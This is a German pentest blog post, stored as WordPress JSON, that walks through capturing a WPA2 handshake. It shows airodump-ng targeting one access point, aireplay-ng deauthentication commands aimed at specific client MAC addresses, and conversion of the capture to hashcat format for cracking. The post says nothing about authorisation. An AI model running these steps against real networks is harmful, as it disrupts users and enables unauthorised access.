{"id":498,"date":"2020-11-19T09:30:06","date_gmt":"2020-11-19T08:30:06","guid":{"rendered":"http:\/\/blog.r00x.at\/?p=498"},"modified":"2020-11-26T15:23:41","modified_gmt":"2020-11-26T14:23:41","slug":"wpa2-handshake-aufzeichnen","status":"publish","type":"post","link":"https:\/\/blog.r00x.at\/?p=498","title":{"rendered":"WPA2 Handshake aufzeichnen"},"content":{"rendered":"\n<p>Erstmal ben\u00f6tigt man eine WLAN-Karte \/ Adapter welche in der Lage ist in den sogenannten <strong>Monitormode<\/strong> versetzt zu werden. Ich habe den <a rel=\"noreferrer noopener\" href=\"https:\/\/www.amazon.de\/Alfa-Network-AWUS036NHA-u-Mount-cs-WLAN-Netzwerkadapter\/dp\/B01D064VMS\" target=\"_blank\">Alfa Network AWUS036NHA<\/a>. <\/p>\n\n\n\n<p>Man ben\u00f6tigt ein Linux. In meinem Fall entscheide ich mich eigentlich immer f\u00fcr <a rel=\"noreferrer noopener\" href=\"https:\/\/linuxmint.com\/\" data-type=\"URL\" data-id=\"https:\/\/linuxmint.com\/\" target=\"_blank\">Linux Mint<\/a>. F\u00fcr diese Anleitung ben\u00f6tigt man ein Linux, welches <strong>apt<\/strong> als Paketmanager nutzt. Grunds\u00e4tzlich kann man alle Schritte auch auf einem RPi mit Raspbian machen.<\/p>\n\n\n\n<p>Als erstes werden alle ben\u00f6tigten Pakete installiert.<\/p>\n\n\n\n<pre class=\"prettyprint\">sudo apt update\nsudo apt upgrade\n\nsudo apt-get install python-dev build-essential libssl-dev libffi-dev libxml2-dev libxslt1-dev zlib1g-dev\nsudo apt-get install python3 python-dev python3-dev build-essential libssl-dev libffi-dev libxml2-dev libxslt1-dev zlib1g-dev\n\nsudo apt install git\nsudo apt install wifite\nsudo apt install aircrack-ng\n<\/pre>\n\n\n\n<p>Ich gehe nicht auf die Treiberinstallation bzw. das Funktionieren der WLAN-Karte ein. Meine ist soweit kompatibel, dass ich den Adapter anstecke und er wird &#8222;on-the-fly&#8220; erkannt und funktioniert. Egal ob PC oder RPi.<\/p>\n\n\n\n<p>Nach der Installation starte ich gerne mal &#8222;<strong>wifite<\/strong>&#8222;. Ein Tool, welches &#8222;automatisch&#8220; ein WLAN pentesten kann.<br>In meinem Fall starte ich wifite deshalb, weil es m\u00f6gliche &#8222;konflikt&#8220; Programme schlie\u00dft und die WLAN-Karte in den Monitormode versetzt.<\/p>\n\n\n\n<pre class=\"prettyprint\">sudo wifite --kill\n<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"http:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/wifite.png\"><img loading=\"lazy\" decoding=\"async\" width=\"804\" height=\"691\" src=\"http:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/wifite.png\" alt=\"\" class=\"wp-image-500\" srcset=\"https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/wifite.png 804w, https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/wifite-300x258.png 300w, https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/wifite-768x660.png 768w\" sizes=\"auto, (max-width: 804px) 100vw, 804px\" \/><\/a><\/figure>\n\n\n\n<p>Auf dem Bild sieht man, dass die Karte mit der Bezeichnung: <strong>wlx00c0ca978743<\/strong> in den Monitormode gebracht wird und danach &#8222;<strong>wlan0mon<\/strong>&#8220; hei\u00dft. Das Programm beginnt sofort die verf\u00fcgbaren WLAN-Netzwerke zu &#8222;scannen&#8220;. Um mit wifite einen Angriff zu starten ben\u00f6tigt man alle im Bild aufgef\u00fchrten Pakete. Also wenn man wifite verwenden will, einfach den angef\u00fchrten Links zur installation folgen. Die Anleitungen sind sehr \u00fcbersichtlich und es sollte kein Problem sein alle Pakete zu installieren.<\/p>\n\n\n\n<p>Um zu pr\u00fcfen wie die WLAN-Karte nun hei\u00dft gibt man folgendes ein.<\/p>\n\n\n\n<pre class=\"prettyprint\">iwconfig<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"http:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/iwconfig.png\"><img loading=\"lazy\" decoding=\"async\" width=\"606\" height=\"175\" src=\"http:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/iwconfig.png\" alt=\"\" class=\"wp-image-501\" srcset=\"https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/iwconfig.png 606w, https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/iwconfig-300x87.png 300w\" sizes=\"auto, (max-width: 606px) 100vw, 606px\" \/><\/a><\/figure>\n\n\n\n<p>Im Bild sieht man, die Karte wird nun mit wlan0mon angesprochen (wifite regelt)<\/p>\n\n\n\n<p>Nun werden die verf\u00fcgbaren Netzte gescannt<\/p>\n\n\n\n<pre class=\"prettyprint\">sudo airodump-ng wlan0mon<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"http:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng2.png\"><img loading=\"lazy\" decoding=\"async\" width=\"861\" height=\"596\" src=\"http:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng2.png\" alt=\"\" class=\"wp-image-502\" srcset=\"https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng2.png 861w, https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng2-300x208.png 300w, https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng2-768x532.png 768w\" sizes=\"auto, (max-width: 861px) 100vw, 861px\" \/><\/a><\/figure>\n\n\n\n<p>Eine nette Liste erscheint mit allen verf\u00fcgbaren Netzwerken. Im oberen Teil sieht man die MAC Adressen (<strong>BSSID<\/strong>) und den zugeh\u00f6rigen Namen (<strong>ESSID<\/strong>) zum jeweiligen Access Point. Im unteren Teil sieht man Clients welche zu einem Access Point verbunden sind. Bei PWR sieht man die Leistung. Sollte diese zu gering sein lohnt sich ein Angriff nicht. Um einen erfolgreichen Angriff zu starten muss ein Client mit einem Router verbunden sein.<\/p>\n\n\n\n<p>Also w\u00e4hlt man ein Ziel aus, tr\u00e4gt alle Parameter ein (Channel, BSSID, Filename) und startet die Aufzeichnung der Daten.<\/p>\n\n\n\n<pre class=\"prettyprint\">sudo airodump-ng wlan0mon -c 1 --bssid 04:02:1F:F5:1F:28 -w 3WebCube1F27\n<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"http:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng-target.png\"><img loading=\"lazy\" decoding=\"async\" width=\"785\" height=\"236\" src=\"http:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng-target.png\" alt=\"\" class=\"wp-image-503\" srcset=\"https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng-target.png 785w, https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng-target-300x90.png 300w, https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng-target-768x231.png 768w\" sizes=\"auto, (max-width: 785px) 100vw, 785px\" \/><\/a><\/figure>\n\n\n\n<p>Nun ben\u00f6tigt man eine zweite Console um zumindest einen verbunden Client zu zwingen sich neu zu verbinden, damit man einen Handshake bekommt.<\/p>\n\n\n\n<pre class=\"prettyprint\">sudo aireplay-ng wlan0mon --deauth 1 -a 04:02:1F:F5:1F:28  -c 68:E7:C2:3F:42:DD\nsudo aireplay-ng wlan0mon --deauth 1 -a 04:02:1F:F5:1F:28  -c E8:4E:06:51:09:70\nsudo aireplay-ng wlan0mon --deauth 3 -a 04:02:1F:F5:1F:28 \n<\/pre>\n\n\n\n<p>Bei den ersten Befehlen wird gezielt versucht das verbundene Ger\u00e4t zum reconnecten zu bewegen. Beim dritten Befehl wird auf gut Gl\u00fcck ein deauth probiert. Dies ben\u00f6tigt man, wenn man keine Clients sieht, da diese m\u00f6glicherweise zu weit weg sind. <br>Eventuell ist es n\u00f6tig diese Befehle mehrfach auszuf\u00fchren und auch bei neuen Clients die Befehle zu erweitern. (Anm.: Bild vom &#8222;airplay-ng deauth&#8220; fehlt)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"http:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng-target-handshake.png\"><img loading=\"lazy\" decoding=\"async\" width=\"816\" height=\"235\" src=\"http:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng-target-handshake.png\" alt=\"\" class=\"wp-image-504\" srcset=\"https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng-target-handshake.png 816w, https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng-target-handshake-300x86.png 300w, https:\/\/blog.r00x.at\/wp-content\/uploads\/2020\/11\/airodump-ng-target-handshake-768x221.png 768w\" sizes=\"auto, (max-width: 816px) 100vw, 816px\" \/><\/a><\/figure>\n\n\n\n<p>Ist der Versuch gegl\u00fcckt, wird rechts oben ein <strong>WPA handshake<\/strong> angezeigt. Ist dies der Fall, kann man die airodump-ng aufzeichnung beenden.<\/p>\n\n\n\n<p>Nun haben wir im Ordner 5 Dateien (*.csv, *.kismet.csv, *kismet.netxml, *.log.csv und *.cap) von airodump-ng generiert. Uns interessiert nur die <strong>*.cap<\/strong> File. In meinem Fall &#8222;<strong>3WebCube1F27-01.cap<\/strong>&#8222;.<\/p>\n\n\n\n<p>Nun extrahieren wir den <strong>WPA handshake<\/strong> und bringen diesen in ein &#8222;<strong><a href=\"https:\/\/hashcat.net\/hashcat\/\" target=\"_blank\" rel=\"noreferrer noopener\">hashcat<\/a><\/strong>&#8220; kompatibles Format.<\/p>\n\n\n\n<pre class=\"prettyprint\">git clon https:\/\/github.com\/hashcat\/hashcat-utils\ncd hashcat-utils\ncd src\nmake\nsudo cp cap2hccapx.bin \/usr\/bin\/cap2hccapx\ncd \/home\/USERNAME\/\ncap2hccapx 3WebCube1F27-01.cap 3WebCube1F27-01.hccapx\n<\/pre>\n\n\n\n<p>Die neue Datei &#8222;<strong>3WebCube1F27-01<span style=\"color:#cf0909\" class=\"has-inline-color\">.hccapx<\/span><\/strong>&#8220; wurde erstellt und kann nun zum Passwort knacken weiter verwendet werden.<\/p>\n\n\n\n<p>Zum cracken des Handshakes geht es <a href=\"http:\/\/blog.r00x.at\/?p=512\" target=\"_blank\" rel=\"noreferrer noopener\">hier weiter &#8212;&gt;<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Erstmal ben\u00f6tigt man eine WLAN-Karte \/ Adapter welche in der Lage ist in den sogenannten Monitormode versetzt zu werden. Ich habe den Alfa Network AWUS036NHA. Man ben\u00f6tigt ein Linux. In meinem Fall entscheide ich mich &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-498","post","type-post","status-publish","format-standard","hentry","category-pentest"],"_links":{"self":[{"href":"https:\/\/blog.r00x.at\/index.php?rest_route=\/wp\/v2\/posts\/498","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.r00x.at\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.r00x.at\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.r00x.at\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.r00x.at\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=498"}],"version-history":[{"count":11,"href":"https:\/\/blog.r00x.at\/index.php?rest_route=\/wp\/v2\/posts\/498\/revisions"}],"predecessor-version":[{"id":561,"href":"https:\/\/blog.r00x.at\/index.php?rest_route=\/wp\/v2\/posts\/498\/revisions\/561"}],"wp:attachment":[{"href":"https:\/\/blog.r00x.at\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=498"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.r00x.at\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=498"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.r00x.at\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=498"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}